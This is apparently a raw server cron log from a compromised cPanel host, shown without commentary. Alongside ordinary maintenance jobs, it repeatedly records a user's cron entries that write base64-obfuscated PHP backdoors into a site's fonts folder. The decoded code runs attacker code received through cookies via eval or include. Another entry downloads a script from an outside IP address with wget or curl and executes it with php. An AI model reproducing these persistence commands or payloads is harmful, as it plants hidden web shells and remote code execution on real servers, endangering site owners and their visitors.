Sep  9 13:02:01 ip-184-168-122-23 CROND[21834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:02:01 ip-184-168-122-23 CROND[21832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:03:01 ip-184-168-122-23 CROND[22001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:03:01 ip-184-168-122-23 CROND[21999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:03:01 ip-184-168-122-23 CROND[22000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:03:01 ip-184-168-122-23 CROND[22002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:04:01 ip-184-168-122-23 CROND[22108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:04:01 ip-184-168-122-23 CROND[22110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:04:01 ip-184-168-122-23 CROND[22112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:04:01 ip-184-168-122-23 CROND[22114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:04:01 ip-184-168-122-23 CROND[22113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:05:01 ip-184-168-122-23 CROND[22230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:05:01 ip-184-168-122-23 CROND[22231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:05:01 ip-184-168-122-23 CROND[22232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:05:01 ip-184-168-122-23 CROND[22235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:05:01 ip-184-168-122-23 CROND[22234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:05:01 ip-184-168-122-23 CROND[22238]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 13:05:01 ip-184-168-122-23 CROND[22233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:06:01 ip-184-168-122-23 CROND[22431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:06:01 ip-184-168-122-23 CROND[22433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:06:01 ip-184-168-122-23 CROND[22435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:06:01 ip-184-168-122-23 CROND[22434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:06:01 ip-184-168-122-23 CROND[22436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:07:01 ip-184-168-122-23 CROND[22560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:07:01 ip-184-168-122-23 CROND[22562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:07:01 ip-184-168-122-23 CROND[22564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:07:01 ip-184-168-122-23 CROND[22566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:08:01 ip-184-168-122-23 CROND[22666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:08:01 ip-184-168-122-23 CROND[22671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:08:01 ip-184-168-122-23 CROND[22669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:08:01 ip-184-168-122-23 CROND[22668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:08:01 ip-184-168-122-23 CROND[22670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:09:01 ip-184-168-122-23 CROND[22770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:09:01 ip-184-168-122-23 CROND[22775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:09:01 ip-184-168-122-23 CROND[22773]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 13:09:01 ip-184-168-122-23 CROND[22774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:09:01 ip-184-168-122-23 CROND[22772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:10:01 ip-184-168-122-23 CROND[22884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:10:01 ip-184-168-122-23 CROND[22885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:10:01 ip-184-168-122-23 CROND[22888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:10:01 ip-184-168-122-23 CROND[22889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:10:01 ip-184-168-122-23 CROND[22892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:10:01 ip-184-168-122-23 CROND[22893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:10:01 ip-184-168-122-23 CROND[22895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:10:01 ip-184-168-122-23 CROND[22897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:11:01 ip-184-168-122-23 CROND[23056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:11:01 ip-184-168-122-23 CROND[23058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:11:01 ip-184-168-122-23 CROND[23062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:11:01 ip-184-168-122-23 CROND[23063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:12:01 ip-184-168-122-23 CROND[23247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:12:01 ip-184-168-122-23 CROND[23249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:12:01 ip-184-168-122-23 CROND[23252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:12:02 ip-184-168-122-23 CROND[23251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:12:02 ip-184-168-122-23 CROND[23250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:13:02 ip-184-168-122-23 CROND[23493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:13:02 ip-184-168-122-23 CROND[23494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:13:02 ip-184-168-122-23 CROND[23495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:13:02 ip-184-168-122-23 CROND[23496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:14:01 ip-184-168-122-23 CROND[23627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:14:01 ip-184-168-122-23 CROND[23631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:14:01 ip-184-168-122-23 CROND[23629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:14:01 ip-184-168-122-23 CROND[23632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:14:01 ip-184-168-122-23 CROND[23630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
